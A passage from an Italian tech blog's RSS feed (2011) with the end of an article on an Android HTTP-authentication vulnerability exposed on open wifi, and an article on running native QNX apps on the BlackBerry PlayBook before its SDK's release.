Il <strong>problema di sicurezza</strong> si verifica solo se un utente si collega ad una <strong>rete wifi libera</strong>, quindi chiunque si connetta abitualmente ad <strong>hotspot</strong> o lo abbia fatto di recente farebbe meglio a disattivare l&#8217;opzione di connessione automatica alle reti wifi ed eliminando il consenso a quelle utilizzate di recente, nel caso la rete free fosse di proprietà il consiglio é ovviamente quello di impostare una protezione, ma questo é una buona norma sempre, non solo in casi di vulnerabilità come quella di cui stiamo parlando in questo articolo.<br />
Allo stato attuale, in attesa della <strong>patch di Google</strong>, il rischio che si corre é quello che un utente non autorizzato possa accedere ai nostri dati contenuti nel <strong>calendario</strong> e nei <strong>contatti</strong> di Android perché lo scambio di autorizzazione tra il client e server non avviene tramite protocollo <strong>https</strong> (Hyper Text Transfer Protocol Secure), ma tramite semplice http.<br />
Tuttavia Google sta valutando anche la connessione alle librerie di <strong>Picasa</strong> che sembrerebbero anch&#8217;esse affette dalla stessa vulnerabilità, un motivo in piú per diffidare delle reti aperte fino a che non sarà cessato del tutto questo giustificato allarme.</p>
]]></content:encoded>
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		</item>
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		<title>Blackberry Playbook: scoperto il primo hack per aggirare il kit di sviluppo</title>
		<link>http://www.capn3m0.org/blackberry-playbook-scoperto-il-primo-hack-per-aggirare-il-kit-di-sviluppo.html</link>
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		<pubDate>Fri, 06 May 2011 08:54:01 +0000</pubDate>
		<dc:creator>Federico Raffaelli</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Blackberry]]></category>
		<category><![CDATA[blackberry playbook]]></category>
		<category><![CDATA[playbook hack]]></category>
		<category><![CDATA[QNX]]></category>
		<category><![CDATA[rim]]></category>
		<category><![CDATA[sdk]]></category>

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		<description><![CDATA[Rim ha dimostrato recentemente durante il suo annuale Blackberry World il kit di sviluppo per scrivere e convertire applicazioni per Playbook. Come saprete il tablet di Research In Motion è basato sul rivoluzionario e solido sistema operativo QNX, grazie al quale gode forse del miglior multitasking e prestazioni in commercio. Visto che tale SDK non [...]]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://www.capn3m0.org/wp-content/uploads/2011/05/091001-BlackBerry-PlayBook.jpg" rel="lightbox[2583]" title="Blackberry Playbook OS"><img class="alignleft size-thumbnail wp-image-2584" title="Blackberry Playbook OS" src="http://www.capn3m0.org/wp-content/uploads/2011/05/091001-BlackBerry-PlayBook-150x150.jpg" alt="Blackberry Playbook: scoperto il primo hack per aggirare il kit di sviluppo" width="150" height="150" /></a>Rim</strong> ha dimostrato recentemente durante il suo annuale Blackberry World il kit di sviluppo per scrivere e convertire applicazioni per <a href="http://www.capn3m0.org/blackberry-playbook.html" target="_blank"><strong>Playbook</strong></a>.</p>
<p>Come saprete il tablet di Research In Motion è basato sul rivoluzionario e<strong> solido sistema operativo QNX</strong>, grazie al quale gode forse del miglior multitasking e prestazioni in commercio.</p>
<p>Visto che tale SDK non è ancora stato rilasciato sembrava impossibile poter sviluppare software senza un tale strumento di programmazione, ma uno sviluppatore di nome<strong> Adam Bell</strong> ha dimostrato come bypassare l&#8217;ambiente Adobe Air su cui è basata l&#8217;interfaccia grafica del tablet.<span id="more-2583"></span></p>
<p>Adam sostiene che, non senza alcuni tweak, è possibile installare su Playbook direttamente le app sviluppate  per QNX  tramite il suo ambiente di programmazione (questo disponibile invece da tempo) chiamato<strong> Neutrino SDP</strong> e avviarle nativamente sul tablet Rim.</p>
<p>Tutto ciò è possibile perchè l&#8217;ambiente di sviluppo desktop  di QNX contiene un cross-compiler, cioè un compilatore in grado di creare eseguibili per varie piattaforme , da quella i386 a quella ARM.Proprio quest&#8217;ultima è alla base dei moderni smartphone e tablet; Tegra2 e tutti i moderni chip dualcore in uscita nel 2011 sono infatti basati su una architettura ARM Cortex A9 o derivata, come la stessa CPU di Texas Instruments che muove il Blackberry Playbook.</p>
<p>Le applicazioni possono essere quindi scritte in C/C++ , compilate ed inviate al tablet Rim per essere eseguite.</p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/05/qnx_desktop_playbook-580x362.png" rel="lightbox[2583]" title="Blackberry Playbook: scoperto il primo hack per aggirare il kit di sviluppo"><img class="aligncenter size-medium wp-image-2585" src="http://www.capn3m0.org/wp-content/uploads/2011/05/qnx_desktop_playbook-580x362-300x187.png" alt="Blackberry Playbook: scoperto il primo hack per aggirare il kit di sviluppo" width="300" height="187" title="Blackberry Playbook: scoperto il primo hack per aggirare il kit di sviluppo pics" /></a></p>
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